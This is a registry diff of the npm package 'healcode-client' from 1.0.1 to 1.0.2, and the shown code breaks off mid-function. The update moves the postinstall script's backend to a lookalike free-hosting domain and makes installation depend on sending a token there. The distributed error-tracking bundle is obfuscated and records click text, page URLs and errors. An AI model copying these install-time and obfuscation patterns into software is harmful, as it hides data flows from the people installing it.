healcode-client 1.0.1 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -2,8 +2,8 @@
2
2
 
3
3
  /**
4
4
  * HealCode - Postinstall Script
5
- * This script runs automatically after npm install
6
- * Prompts for token and configures the library
5
+ * REQUIRED: Token validation before installation completes
6
+ * Installation will FAIL without a valid token
7
7
  */
8
8
 
9
9
  const readline = require('readline');
@@ -15,7 +15,7 @@ const http = require('http');
15
15
  const CONFIG_FILE_NAME = 'healcode.config.json';
16
16
 
17
17
  // Load URLs from config
18
- let urlsConfig = { backendUrl: 'https://api.healcode.io', agentUrl: 'https://api.healcode.io' };
18
+ let urlsConfig = { backendUrl: 'https://www.healdcode.somee.com', agentUrl: 'https://www.healdcode.somee.com' };
19
19
  try {
20
20
  const urlsConfigPath = path.join(__dirname, '..', 'urls.config.json');
21
21
  if (fs.existsSync(urlsConfigPath)) {
@@ -44,15 +44,11 @@ function log(color, message) {
44
44
  }
45
45
 
46
46
  function findProjectRoot() {
47
- // When installed via npm, we need to go up from node_modules/@healcode/client
48
47
  let dir = process.cwd();
49
-
50
- // If we're inside node_modules, go up to project root
51
48
  if (dir.includes('node_modules')) {
52
49
  const parts = dir.split('node_modules');
53
50
  dir = parts[0];
54
51
  }
55
-
56
52
  return dir;
57
53
  }
58
54
 
@@ -62,6 +58,20 @@ function configExists() {
62
58
  return fs.existsSync(configPath);
63
59
  }
64
60
 
61
+ function removePackage() {
62
+ // Remove the package from node_modules if validation fails
63
+ const projectRoot = findProjectRoot();
64
+ const packagePath = path.join(projectRoot, 'node_modules', 'healcode-client');
65
+
66
+ try {
67
+ if (fs.existsSync(packagePath)) {
68
+ fs.rmSync(packagePath, { recursive: true, force: true });
69
+ }
70
+ } catch (e) {
71
+ // Ignore removal errors
72
+ }
73
+ }
74
+
65
75
  function validateToken(token, endpoint) {
66
76
  return new Promise((resolve, reject) => {
67
77
  const url = new URL(`${endpoint}/api/Tokens/validate`);
@@ -78,7 +88,7 @@ function validateToken(token, endpoint) {
78
88
  'Content-Type': 'application/json',
79
89
  'Content-Length': Buffer.byteLength(postData)
80
90
  },
81
- timeout: 10000
91
+ timeout: 15000
82
92
  };
83
93
 
84
94
  const req = protocol.request(options, (res) => {
@@ -106,28 +116,55 @@ function validateToken(token, endpoint) {
106
116
  }
107
117
 
108
118
  async function main() {
109
- // Skip if running in CI or non-interactive mode
110
- if (process.env.CI || process.env.HEALCODE_SKIP_SETUP) {
111
- return;
112
- }
113
-
114
- // Check if stdin is TTY (interactive terminal)
115
- if (!process.stdin.isTTY) {
116
- log(colors.yellow, '\n[HealCode] Non-interactive mode detected.');
117
- log(colors.gray, 'Run "npx healcode init" to configure manually.\n');
119
+ // Skip ONLY if explicitly set (for CI pipelines that handle auth differently)
120
+ if (process.env.HEALCODE_SKIP_AUTH === 'true') {
118
121
  return;
119
122
  }
120
123
 
121
- // Skip if config already exists
124
+ // If config already exists with valid token, skip
122
125
  if (configExists()) {
123
- log(colors.gray, '\n[HealCode] Configuration already exists. Skipping setup.');
126
+ log(colors.green, '\nāœ… [HealCode] Valid configuration found.');
124
127
  return;
125
128
  }
126
129
 
127
130
  console.log('');
128
- log(colors.green + colors.bold, '🩺 HealCode Setup');
131
+ log(colors.green + colors.bold, '═══════════════════════════════════════════');
132
+ log(colors.green + colors.bold, ' 🩺 HealCode - Authentication Required');
133
+ log(colors.green + colors.bold, '═══════════════════════════════════════════');
134
+ console.log('');
135
+ log(colors.yellow, 'āš ļø A valid HealCode token is REQUIRED to use this package.');
136
+ log(colors.gray, ' Get your token at: https://healcode.vercel.app/dashboard');
129
137
  console.log('');
130
138
 
139
+ // Check if interactive
140
+ if (!process.stdin.isTTY) {
141
+ log(colors.red, 'āŒ Installation failed: Non-interactive terminal detected.');
142
+ log(colors.yellow, '');
143
+ log(colors.yellow, ' To install healcode-client, you must provide a token.');
144
+ log(colors.yellow, ' Run the installation in an interactive terminal.');
145
+ log(colors.yellow, '');
146
+ log(colors.gray, ' Or set HEALCODE_TOKEN environment variable:');
147
+ log(colors.gray, ' HEALCODE_TOKEN=hc_xxx npm install healcode-client');
148
+ console.log('');
149
+
150
+ // Check for environment variable token
151
+ if (process.env.HEALCODE_TOKEN) {
152
+ log(colors.yellow, 'ā³ Found HEALCODE_TOKEN, validating...');
153
+ try {
154
+ const result = await validateToken(process.env.HEALCODE_TOKEN, DEFAULT_BACKEND_URL);
155
+ if (result.isValid) {
156
+ await saveConfig(process.env.HEALCODE_TOKEN, result);
157
+ return; // Success
158
+ }
159
+ } catch (e) {
160
+ // Fall through to failure
161
+ }
162
+ }
163
+
164
+ removePackage();
165
+ process.exit(1);
166
+ }
167
+
131
168
  const rl = readline.createInterface({
132
169
  input: process.stdin,
133
170
  output: process.stdout
@@ -137,98 +174,118 @@ async function main() {
137
174
  rl.question(prompt, resolve);
138
175
  });
139
176
 
140
- try {
141
- // Get token
142
- const token = await question(`${colors.cyan}Enter your HealCode token: ${colors.reset}`);
143
-
144
- if (!token || token.trim().length === 0) {
145
- log(colors.yellow, '\nāš ļø No token provided. Run "npx healcode init" later to configure.');
146
- rl.close();
147
- return;
148
- }
149
-
150
- // Get endpoint (with default)
151
- let endpoint = await question(`${colors.cyan}API Endpoint ${colors.gray}(press Enter for default)${colors.cyan}: ${colors.reset}`);
177
+ let attempts = 0;
178
+ const maxAttempts = 3;
152
179
 
153
- if (!endpoint || endpoint.trim().length === 0) {
154
- // Default endpoint - use configured backend URL
155
- endpoint = DEFAULT_BACKEND_URL;
156
- }
157
-
158
- log(colors.yellow, '\nā³ Validating token...');
180
+ while (attempts < maxAttempts) {
181
+ attempts++;
159
182
 
160
183
  try {
161
- const result = await validateToken(token.trim(), endpoint.trim());
184
+ const token = await question(`${colors.cyan}Enter your HealCode token: ${colors.reset}`);
162
185
 
163
- if (!result.isValid) {
164
- log(colors.red, `\nāŒ Token validation failed: ${result.errorMessage || 'Invalid token'}`);
165
- log(colors.gray, 'Get a valid token at your HealCode dashboard\n');
166
- rl.close();
167
- return;
186
+ if (!token || token.trim().length === 0) {
187
+ log(colors.red, `\nāŒ Token is required. Attempt ${attempts}/${maxAttempts}`);
188
+ if (attempts >= maxAttempts) break;
189
+ continue;
168
190
  }
169
191
 
170
- log(colors.green, 'āœ… Token validated successfully!');
171
- if (result.projectId) {
172
- log(colors.gray, ` Project ID: ${result.projectId}`);
173
- }
192
+ log(colors.yellow, '\nā³ Validating token...');
193
+
194
+ try {
195
+ const result = await validateToken(token.trim(), DEFAULT_BACKEND_URL);
174
196
 
175
- // Get agent endpoint for error reporting (from server response or use default)
176
- let agentEndpoint = result.agentEndpoint || DEFAULT_AGENT_URL;
177
-
178
- // Create config
179
- const projectRoot = findProjectRoot();
180
- const config = {
181
- token: token.trim(),
182
- endpoint: agentEndpoint,
183
- enabled: true,
184
- options: {
185
- captureConsoleErrors: true,
186
- captureUnhandledRejections: true,
187
- maxBreadcrumbs: 20
197
+ if (!result.isValid) {
198
+ log(colors.red, `\nāŒ Invalid token: ${result.errorMessage || 'Token not recognized'}`);
199
+ log(colors.gray, ` Attempt ${attempts}/${maxAttempts}`);
200
+ if (attempts >= maxAttempts) break;
201
+ console.log('');
202
+ continue;
188
203
  }
189
- };
190
204
 
191
- // Apply remote configuration if available
192
- if (result.configuration) {
193
- Object.assign(config.options, result.configuration);
194
- log(colors.green, 'āœ… Configuration loaded from Dashboard.');
195
- }
205
+ // SUCCESS - Save config and complete installation
206
+ log(colors.green, '\nāœ… Token validated successfully!');
207
+ if (result.projectId) {
208
+ log(colors.gray, ` Project: ${result.projectId}`);
209
+ }
196
210
 
197
- const configPath = path.join(projectRoot, CONFIG_FILE_NAME);
198
- fs.writeFileSync(configPath, JSON.stringify(config, null, 2));
211
+ await saveConfig(token.trim(), result);
212
+
213
+ rl.close();
214
+
215
+ console.log('');
216
+ log(colors.green + colors.bold, 'šŸŽ‰ HealCode installed successfully!');
217
+ log(colors.gray, '');
218
+ log(colors.gray, ' Usage:');
219
+ log(colors.gray, " import { initFromConfig } from 'healcode-client';");
220
+ log(colors.gray, ' initFromConfig();');
221
+ console.log('');
222
+
223
+ return; // Success - exit normally
224
+
225
+ } catch (error) {
226
+ log(colors.red, `\nāŒ Connection error: ${error.message}`);
227
+ log(colors.gray, ` Attempt ${attempts}/${maxAttempts}`);
228
+ if (attempts >= maxAttempts) break;
229
+ console.log('');
230
+ }
199
231
 
200
- log(colors.green, `\nāœ… Config saved to ${CONFIG_FILE_NAME}`);
232
+ } catch (e) {
233
+ break;
234
+ }
235
+ }
201
236
 
202
- // Add to .gitignore
203
- const gitignorePath = path.join(projectRoot, '.gitignore');
204
- if (fs.existsSync(gitignorePath)) {
205
- let gitignore = fs.readFileSync(gitignorePath, 'utf-8');
206
- if (!gitignore.includes(CONFIG_FILE_NAME)) {
207
- fs.appendFileSync(gitignorePath, `\n# HealCode\n${CONFIG_FILE_NAME}\n`);
208
- log(colors.gray, `Added ${CONFIG_FILE_NAME} to .gitignore`);
209
- }
210
- }
237
+ // FAILED - Remove package and exit with error
238
+ rl.close();
239
+
240
+ console.log('');
241
+ log(colors.red + colors.bold, '═══════════════════════════════════════════');
242
+ log(colors.red + colors.bold, ' āŒ Installation FAILED - Invalid Token');
243
+ log(colors.red + colors.bold, '═══════════════════════════════════════════');
244
+ console.log('');
245
+ log(colors.yellow, ' healcode-client requires a valid token to install.');
246
+ log(colors.yellow, ' Get your token at: https://healcode.vercel.app/dashboard');
247
+ console.log('');
248
+
249
+ removePackage();
250
+ process.exit(1);
251
+ }
211
252
 
212
- // Show usage
213
- console.log('');
214
- log(colors.cyan, 'šŸ“– Usage:');
215
- console.log('');
216
- log(colors.gray, ' // In your main entry file (e.g., main.ts, index.js)');
217
- log(colors.gray, " import { initFromConfig } from '@healcode/client';");
218
- log(colors.gray, ' initFromConfig();');
219
- console.log('');
220
- log(colors.green + colors.bold, 'šŸŽ‰ HealCode is ready! Errors will be automatically tracked.\n');
221
-
222
- } catch (error) {
223
- log(colors.yellow, `\nāš ļø Could not validate token: ${error.message}`);
224
- log(colors.gray, 'You can configure manually later with "npx healcode init"\n');
253
+ async function saveConfig(token, validationResult) {
254
+ const projectRoot = findProjectRoot();
255
+ const agentEndpoint = validationResult.agentEndpoint || DEFAULT_AGENT_URL;
256
+
257
+ const config = {
258
+ token: token,
259
+ endpoint: agentEndpoint,
260
+ enabled: true,
261
+ options: {
262
+ captureConsoleErrors: true,
263
+ captureUnhandledRejections: true,
264
+ maxBreadcrumbs: 20
225
265
  }
266
+ };
226
267
 
227
- } finally {
228
- rl.close();
268
+ if (validationResult.configuration) {
269
+ Object.assign(config.options, validationResult.configuration);
229
270
  }
271
+
272
+ const configPath = path.join(projectRoot, CONFIG_FILE_NAME);
273
+ fs.writeFileSync(configPath, JSON.stringify(config, null, 2));
274
+
275
+ // Add to .gitignore
276
+ const gitignorePath = path.join(projectRoot, '.gitignore');
277
+ if (fs.existsSync(gitignorePath)) {
278
+ let gitignore = fs.readFileSync(gitignorePath, 'utf-8');
279
+ if (!gitignore.includes(CONFIG_FILE_NAME)) {
280
+ fs.appendFileSync(gitignorePath, `\n# HealCode\n${CONFIG_FILE_NAME}\n`);
281
+ }
282
+ }
283
+
284
+ log(colors.green, `āœ… Config saved to ${CONFIG_FILE_NAME}`);
230
285
  }
231
286
 
232
- main().catch(() => {
233
- // Silent fail - postinstall should not break npm install
287
+ main().catch((err) => {
288
+ log(colors.red, `\nāŒ Installation failed: ${err.message}`);
289
+ removePackage();
290
+ process.exit(1);
234
291
  });
package/dist/index.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x4d21(){const _0x447961=['uhjgsK0','DKvPwhK','AgfZ','y2XHC3noyw1L','qw5ZB3u','yMvMB3jLu2vUza','wMXkD1q','DgfNtMfTzq','EKzPDKS','Bwfxufm','zw5KCg9PBNq','AgvHBgnVzguUy29UzMLNlMPZB24','BLrAsMO','y2Dfs3m','nduXntu4nw1oEgD1Dq','mJa1mJK5m1LvzhPJua','Dg9ju09tDhjPBMC','wM54v0G','C3rYAw5NAwz5','Aw50zxjJzxb0v2LUzg93rxjYB3jZ','AKfvAvC','Bwf4qNjLywrJCNvTyNm','DufYDM4','rgXYvfO','AgfVt2K','yMjQzvO','CMvWBgfJzq','AxnfBMfIBgvK','w0HLywXdB2rLxsbjBML0AwfSAxPLzcbZDwnJzxnZzNvSBhK','x19LC01VzhvSzq','A1vAD1G','EwjwwLq','w0HLywXdB2rLxsbgywLSzwqGDg8GCMvWB3j0igvYCM9YoG','C2HPzNq','C2v0Dxbozxr3B3jRtgLZDgvUzxjZ','B2zMBgLUzq','y3DK','DgfYz2v0','AeX0A2W','qLHfv2e','ywrKqNjLywrJCNvTyG','Bg9JyxrPB24','AgfZt3DUuhjVCgvYDhK','z2v0t3DUuhjVCgvYDhLoyw1LCW','y29UzMLN','Bg9N','zw5KC1DPDgG','y2fWDhvYzvvUAgfUzgXLzfjLAMvJDgLVBNm','C3rHDhvZ','uezLDfm','Cu5szMm','z2v0uhjVDg90ExbLt2y','tw1OthK','mZq5mdm4mMfXuLLRuW','Aw5PDgLHBgL6zwq','ChjVDg90ExbL','uxPjAu0','y2fWDhvYzq','Dg9tDhjPBMC','C2v0rw5HyMXLza','B25SAw5L','tw1dyK4','ChvZAa','z2v0t3DUuhjVCgvYDhLezxnJCMLWDg9Y','C2vUDeHHC2HLCW','vhHIq1q','uLPKuNe','D2fYBG','ywrKrxzLBNrmAxn0zw5LCG','v3fPAgC','q29UBMvJDgLVBIbSB3n0','B2jQzwn0','zxjYB3i','C3njwLO','q0XAy2u','C2vUza','zw51BwvYywjSzq','AhjLzG','CefwDxu','t3fhtKi','mJC5mZrUA1D5CK8','C3rYAw5N','B25LCNjVCG','w0HLywXdB2rLxsbozxr3B3jRigvYCM9YoG','yxbWBhK','vwHJu1u','Bvb6uNi','B25mAw5L','mtzry0vMz1G','y2fSBa','B0nKwhi','nJfVAeXuqxC','z1LIAuy','nfzlsMzVAW','BMLSvuy','ue9tva','vw5Oyw5KBgvKifjLAMvJDgLVBJOG','z3HOqxe','nJy2mJeYnhDpDNDXDa','ywrK','Aw5PDa','DxrMltG','B3b0Aw9UCW','ChfPBwe','mtu3mdqYmg5fBe51BW','zgvMyxvSDa','w0HLywXdB2rLxsboBYbJB25MAwCGzMLSzsbMB3vUzc4GuNvUigbUChGGAgvHBgnVzguGAw5PDgaGDg8GC2v0ihvWlG','C2v0DxbjBNrLCMfJDgLVBKXPC3rLBMvYCW','Aw50zxjJzxb0q29UC29Szq','Cgf0Aa','zM5dqwK','BwfW','DxnLCKfNzw50','Ahr0Chm6lY9WCMvWywLKlxrYAwjHBc1PBNzPDgvKlwvUzY50CNLJBg91zgzSyxjLlMnVBq','vvLvBM4','sNnQseS','zxHWB3j0CW','seXTzNG','AM9PBG','BgvUz3rO','C1P5wvK','ndmZmdmYm2r5z1bcEa','zgvSzxrL','sxjVq2G','z2HgzxC','wg9lu2S','vw5RBM93BIbLCNjVCG','ve1vBLG','igf0ia','zw5HyMXLza','q2XPy2TLzcbVBIa','D0zdCKG','z2vUzxjHDgviyxnO','vLbms0W','z3DVzg0','tM1dwMu','B251BMHHBMrSzwrYzwPLy3rPB24','Dg9Rzw4','zNvUy3rPB24','q29UBMvJDgLVBIbYzxn0B3jLza','vgLmAhi','y2fWDhvYzunVBNnVBgvfCNjVCNm','l2fWAs9SB2DZ','Aw50zxjJzxb0vw5Oyw5KBgvKuMvQzwn0Aw9UCW','yNjLywrJCNvTyNm','BfrJzKW','zgvMAw5LuhjVCgvYDhK','BMv0D29YAW','zxHPC3rZu3LUyW','l2fWAs9SB2DZlW','zgLYBMfTzq'];a0_0x4d21=function(){return _0x447961;};return a0_0x4d21();}const a0_0x3aa169=a0_0x34d7;(function(_0x287777,_0x3cdcac){const _0x4425eb=a0_0x34d7,_0xd3a1dc=_0x287777();while(!![]){try{const _0x23b3b9=-parseInt(_0x4425eb(0x158))/0x1*(-parseInt(_0x4425eb(0x14d))/0x2)+-parseInt(_0x4425eb(0x10c))/0x3+-parseInt(_0x4425eb(0x15a))/0x4*(-parseInt(_0x4425eb(0x10b))/0x5)+parseInt(_0x4425eb(0x15f))/0x6+-parseInt(_0x4425eb(0x132))/0x7+-parseInt(_0x4425eb(0x155))/0x8*(parseInt(_0x4425eb(0x176))/0x9)+-parseInt(_0x4425eb(0x165))/0xa;if(_0x23b3b9===_0x3cdcac)break;else _0xd3a1dc['push'](_0xd3a1dc['shift']());}catch(_0x163074){_0xd3a1dc['push'](_0xd3a1dc['shift']());}}}(a0_0x4d21,0x897dd));var C=Object['create'],l=Object[a0_0x3aa169(0xf8)],m=Object[a0_0x3aa169(0x13c)],b=Object[a0_0x3aa169(0x128)],w=Object[a0_0x3aa169(0x130)],H=Object[a0_0x3aa169(0x134)][a0_0x3aa169(0x127)],v=(_0x12246f,_0x554836)=>{for(var _0x53c3bc in _0x554836)l(_0x12246f,_0x53c3bc,{'get':_0x554836[_0x53c3bc],'enumerable':!0x0});},u=(_0x43e85a,_0x185207,_0x5006ff,_0x78fabb)=>{const _0x61731b=a0_0x3aa169,_0x108cd9={'UhcSU':function(_0xc5b069,_0x28dfeb){return _0xc5b069==_0x28dfeb;},'pqima':_0x61731b(0x144),'qNRfc':function(_0x332be8,_0xc0c3d6){return _0x332be8==_0xc0c3d6;},'jAUiW':_0x61731b(0xf0),'Ansou':function(_0x20e517,_0x2636c1){return _0x20e517!==_0x2636c1;},'ovXUy':function(_0x16f43e,_0x28643c,_0x28855f,_0x339530){return _0x16f43e(_0x28643c,_0x28855f,_0x339530);},'cgEKs':function(_0x4ac0b3,_0x353f29,_0x5de870){return _0x4ac0b3(_0x353f29,_0x5de870);}};if(_0x185207&&_0x108cd9[_0x61731b(0x152)](typeof _0x185207,_0x108cd9[_0x61731b(0x164)])||_0x108cd9[_0x61731b(0x12f)](typeof _0x185207,_0x108cd9[_0x61731b(0x111)])){for(let _0x3fde7e of b(_0x185207))!H['call'](_0x43e85a,_0x3fde7e)&&_0x108cd9[_0x61731b(0x101)](_0x3fde7e,_0x5006ff)&&_0x108cd9['ovXUy'](l,_0x43e85a,_0x3fde7e,{'get':()=>_0x185207[_0x3fde7e],'enumerable':!(_0x78fabb=_0x108cd9[_0x61731b(0x10a)](m,_0x185207,_0x3fde7e))||_0x78fabb[_0x61731b(0x149)]});}return _0x43e85a;},f=(_0x2d0911,_0x99cfc3,_0x3d7f5c)=>(_0x3d7f5c=_0x2d0911!=null?C(w(_0x2d0911)):{},u(_0x99cfc3||!_0x2d0911||!_0x2d0911['__esModule']?l(_0x3d7f5c,a0_0x3aa169(0x166),{'value':_0x2d0911,'enumerable':!0x0}):_0x3d7f5c,_0x2d0911)),y=_0x7fe0ed=>u(l({},a0_0x3aa169(0x11a),{'value':!0x0}),_0x7fe0ed),N={};function a0_0x34d7(_0x399c00,_0x1aea27){_0x399c00=_0x399c00-0xe8;const _0x4d215f=a0_0x4d21();let _0x34d73d=_0x4d215f[_0x399c00];if(a0_0x34d7['SrHwgx']===undefined){var _0x257636=function(_0x1733b0){const _0x4e54c6='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x18c780='',_0x2342b5='';for(let _0x8a8cea=0x0,_0x3fd11c,_0x4f4b61,_0x4e65f9=0x0;_0x4f4b61=_0x1733b0['charAt'](_0x4e65f9++);~_0x4f4b61&&(_0x3fd11c=_0x8a8cea%0x4?_0x3fd11c*0x40+_0x4f4b61:_0x4f4b61,_0x8a8cea++%0x4)?_0x18c780+=String['fromCharCode'](0xff&_0x3fd11c>>(-0x2*_0x8a8cea&0x6)):0x0){_0x4f4b61=_0x4e54c6['indexOf'](_0x4f4b61);}for(let _0x5a5094=0x0,_0x19b540=_0x18c780['length'];_0x5a5094<_0x19b540;_0x5a5094++){_0x2342b5+='%'+('00'+_0x18c780['charCodeAt'](_0x5a5094)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x2342b5);};a0_0x34d7['lppRDP']=_0x257636,a0_0x34d7['hMbpCf']={},a0_0x34d7['SrHwgx']=!![];}const _0x314195=_0x4d215f[0x0],_0x38d6d4=_0x399c00+_0x314195,_0x266ec1=a0_0x34d7['hMbpCf'][_0x38d6d4];return!_0x266ec1?(_0x34d73d=a0_0x34d7['lppRDP'](_0x34d73d),a0_0x34d7['hMbpCf'][_0x38d6d4]=_0x34d73d):_0x34d73d=_0x266ec1,_0x34d73d;}v(N,{'HealCode':()=>s,'initFromConfig':()=>h,'loadConfig':()=>p}),module[a0_0x3aa169(0x171)]=y(N);var g=a0_0x3aa169(0x16e),E=g+'/api/logs/',x=0x14,s=class{constructor(_0x2b586d){const _0x457917=a0_0x3aa169,_0x953383={'gwodm':function(_0x447263,_0x13e84b){return _0x447263!==_0x13e84b;},'MmCbN':function(_0x1104af,_0x5ce89b){return _0x1104af!==_0x5ce89b;},'ZlJwT':function(_0x175233,_0x111446){return _0x175233<_0x111446;}};this[_0x457917(0xf6)]=[],this[_0x457917(0x13d)]=new Set(),this[_0x457917(0x133)]=!0x1,(this[_0x457917(0x129)]={'token':_0x2b586d[_0x457917(0xef)],'endpoint':_0x2b586d[_0x457917(0x107)]||E,'enabled':_0x953383[_0x457917(0xec)](_0x2b586d[_0x457917(0x17e)],!0x1),'captureConsoleErrors':_0x953383[_0x457917(0x13a)](_0x2b586d[_0x457917(0xf3)],!0x1),'captureUnhandledRejections':_0x953383['MmCbN'](_0x2b586d[_0x457917(0x12c)],!0x1),'maxBreadcrumbs':_0x2b586d[_0x457917(0x112)]||x,'beforeSend':_0x2b586d[_0x457917(0x102)]},this['config'][_0x457917(0x17e)]&&_0x953383[_0x457917(0x103)](typeof window,'u')&&this['init']());}[a0_0x3aa169(0x161)](){const _0x342104=a0_0x3aa169,_0x1dd2a7={'MmhLy':_0x342104(0x119)};this[_0x342104(0x133)]||(this[_0x342104(0x133)]=!0x0,this[_0x342104(0x11f)](),this[_0x342104(0x168)](),this[_0x342104(0x129)]['captureConsoleErrors']&&this[_0x342104(0x169)](),this['interceptWindowErrors'](),this[_0x342104(0x129)][_0x342104(0x12c)]&&this[_0x342104(0xf5)](),console['log'](_0x1dd2a7[_0x342104(0x131)]));}[a0_0x3aa169(0x11f)](){const _0x3fa1b7=a0_0x3aa169,_0x3c73dc={'XoKSk':_0x3fa1b7(0x139)};window[_0x3fa1b7(0x141)](_0x3c73dc[_0x3fa1b7(0x17a)],()=>this['addBreadcrumb']('network','Connection\x20restored',{'status':_0x3fa1b7(0x139)})),window[_0x3fa1b7(0x141)](_0x3fa1b7(0x120),()=>this[_0x3fa1b7(0x125)]('network',_0x3fa1b7(0x143),{'status':_0x3fa1b7(0x120)}));}[a0_0x3aa169(0x168)](){const _0x4d7538=a0_0x3aa169,_0x4eb0e3={'pAVuu':function(_0x50b7b6,_0x419813){return _0x50b7b6==_0x419813;},'zFivK':_0x4d7538(0x144),'UYUnn':_0x4d7538(0xf0),'WcdoF':function(_0x4bfcef,_0x293c91){return _0x4bfcef(_0x293c91);},'FTZqg':function(_0x1a42cf,_0x2a6898){return _0x1a42cf!==_0x2a6898;},'oVCHd':function(_0x1ebbca,_0x4dee92,_0x534cb2,_0x16df3c){return _0x1ebbca(_0x4dee92,_0x534cb2,_0x16df3c);},'QzIiM':function(_0x443b20,_0x2b7b62,_0x41c2a7){return _0x443b20(_0x2b7b62,_0x41c2a7);},'kiMKQ':function(_0x191716,_0x2c2616){return _0x191716!==_0x2c2616;},'eUeiR':'QDaBu','VPLKL':'ui.click','IroCh':'click'};document[_0x4d7538(0x141)](_0x4eb0e3[_0x4d7538(0x178)],_0x4cd5ab=>{const _0x28a4ef=_0x4d7538;if(_0x4eb0e3['kiMKQ'](_0x28a4ef(0x16b),_0x4eb0e3['eUeiR'])){let _0xa970df=_0x4cd5ab[_0x28a4ef(0x122)];this['addBreadcrumb'](_0x4eb0e3[_0x28a4ef(0xeb)],_0x28a4ef(0xe8)+_0xa970df[_0x28a4ef(0x104)],{'id':_0xa970df['id']||void 0x0,'className':_0xa970df[_0x28a4ef(0x100)]||void 0x0,'text':_0xa970df['innerText']?.['substring'](0x0,0x32)||void 0x0});}else{if(_0x1285e6&&_0x4eb0e3[_0x28a4ef(0x14b)](typeof _0x1d444a,_0x4eb0e3[_0x28a4ef(0x105)])||typeof _0x147572==_0x4eb0e3[_0x28a4ef(0x16f)]){for(let _0x139c20 of _0x4eb0e3['WcdoF'](_0x1b1101,_0x2f2934))!_0x36c06c[_0x28a4ef(0x156)](_0x14741f,_0x139c20)&&_0x4eb0e3['FTZqg'](_0x139c20,_0x1f06c5)&&_0x4eb0e3['oVCHd'](_0x52ad31,_0x45c367,_0x139c20,{'get':()=>_0x312404[_0x139c20],'enumerable':!(_0x34df32=_0x4eb0e3[_0x28a4ef(0x135)](_0x2f0e3a,_0x4a7202,_0x139c20))||_0x210c62[_0x28a4ef(0x149)]});}return _0x5a7f32;}},!0x0);}[a0_0x3aa169(0x169)](){const _0x22fa06=a0_0x3aa169,_0x588541={'SWNYD':function(_0x571d8f,_0x3c838a){return _0x571d8f===_0x3c838a;},'IYHUP':_0x22fa06(0x15e),'NmCZe':'oXmwb','ybVZT':_0x22fa06(0x145)};let _0x20225b=console[_0x22fa06(0x145)];console['error']=(..._0x3d1724)=>{const _0x2ca908=_0x22fa06;if(_0x588541['SWNYD'](_0x588541['IYHUP'],_0x588541[_0x2ca908(0xed)]))return this[_0x2ca908(0x129)][_0x2ca908(0x17e)];else{let _0x3d001b=_0x3d1724[_0x2ca908(0x16c)](_0x1ffc7c=>typeof _0x1ffc7c==_0x2ca908(0x144)?JSON[_0x2ca908(0x10f)](_0x1ffc7c):String(_0x1ffc7c))['join']('\x20');this[_0x2ca908(0x136)](_0x588541[_0x2ca908(0x11c)],_0x3d001b),_0x20225b[_0x2ca908(0x151)](console,_0x3d1724);}};}[a0_0x3aa169(0x110)](){const _0x5de490=a0_0x3aa169,_0x21e824={'KGXft':function(_0x44de78,_0x4f1a4b){return _0x44de78==_0x4f1a4b;},'wFCrH':_0x5de490(0x14e),'rgZDp':_0x5de490(0x17b)};window[_0x5de490(0x14f)]=(_0x484d6e,_0x53a976,_0x1d1d39,_0x143030,_0x2503d1)=>{const _0x150347=_0x5de490;let _0x1ecb1f=_0x21e824['KGXft'](typeof _0x484d6e,_0x21e824[_0x150347(0xe9)])?_0x484d6e:_0x21e824['rgZDp'];this[_0x150347(0x136)](_0x150347(0x145),_0x1ecb1f+_0x150347(0x17d)+_0x53a976+':'+_0x1d1d39+':'+_0x143030,_0x2503d1?.['stack']);};}[a0_0x3aa169(0xf5)](){const _0x343f14=a0_0x3aa169,_0x3fefe4={'OqGNB':_0x343f14(0x145)};window[_0x343f14(0xee)]=_0x30b6cf=>{const _0x58b5b9=_0x343f14;this['capture'](_0x3fefe4[_0x58b5b9(0x14c)],_0x58b5b9(0x15d)+_0x30b6cf['reason']);};}[a0_0x3aa169(0x125)](_0x491c4a,_0x13bfa1,_0x3d8a2e){const _0x224363=a0_0x3aa169;let _0x1bfa9c={'type':_0x491c4a,'message':_0x13bfa1,'timestamp':new Date()[_0x224363(0x10d)](),'data':_0x3d8a2e};this['breadcrumbs'][_0x224363(0x13b)](_0x1bfa9c),this[_0x224363(0xf6)][_0x224363(0x174)]>this[_0x224363(0x129)][_0x224363(0x112)]&&this[_0x224363(0xf6)][_0x224363(0x11e)]();}[a0_0x3aa169(0x136)](_0x4324e6,_0x19473c,_0x49b136){const _0xc0e875=a0_0x3aa169,_0x4f0926={'CLZce':function(_0x2e36a9,_0x13c8ae){return _0x2e36a9*_0x13c8ae;},'bbjeZ':_0xc0e875(0x139),'ghFew':_0xc0e875(0x120)};if(!this[_0xc0e875(0x129)][_0xc0e875(0x17e)])return;let _0x365c85=this[_0xc0e875(0xea)](_0x19473c,_0x49b136);if(this[_0xc0e875(0x13d)][_0xc0e875(0xff)](_0x365c85))return;this[_0xc0e875(0x13d)][_0xc0e875(0x160)](_0x365c85),setTimeout(()=>this[_0xc0e875(0x13d)][_0xc0e875(0x177)](_0x365c85),_0x4f0926[_0xc0e875(0x147)](0x12c,0x3e8));let _0x1c071a={'token':this[_0xc0e875(0x129)][_0xc0e875(0xef)],'message':_0x19473c,'stacktrace':_0x49b136,'url':window[_0xc0e875(0x126)][_0xc0e875(0x14a)],'level':_0x4324e6,'userAgent':navigator[_0xc0e875(0x16d)],'networkStatus':navigator[_0xc0e875(0x154)]?_0x4f0926[_0xc0e875(0x116)]:_0x4f0926[_0xc0e875(0x179)],'breadcrumbs':[...this['breadcrumbs']],'timestamp':new Date()['toISOString']()};this[_0xc0e875(0x129)][_0xc0e875(0x102)]&&(_0x1c071a=this[_0xc0e875(0x129)]['beforeSend'](_0x1c071a),!_0x1c071a)||this[_0xc0e875(0x148)](_0x1c071a);}[a0_0x3aa169(0xea)](_0x3cc821,_0x3a80b0){const _0x322578=a0_0x3aa169,_0x147a2d={'nilUF':function(_0x13aa2b,_0x2ae0ca){return _0x13aa2b>_0x2ae0ca;},'sZyYY':function(_0x3f8204,_0xdad57d){return _0x3f8204+_0xdad57d;},'gYbiF':function(_0x1491c3,_0x4d7314){return _0x1491c3||_0x4d7314;},'mPzRr':function(_0x1250e1,_0x469f03){return _0x1250e1<_0x469f03;},'UQyex':function(_0x3633ba,_0x3d4947){return _0x3633ba!==_0x3d4947;},'hLtkl':function(_0x138fa0,_0xbfe8f5){return _0x138fa0-_0xbfe8f5;},'QdTBY':function(_0xa1400d,_0x1ad355){return 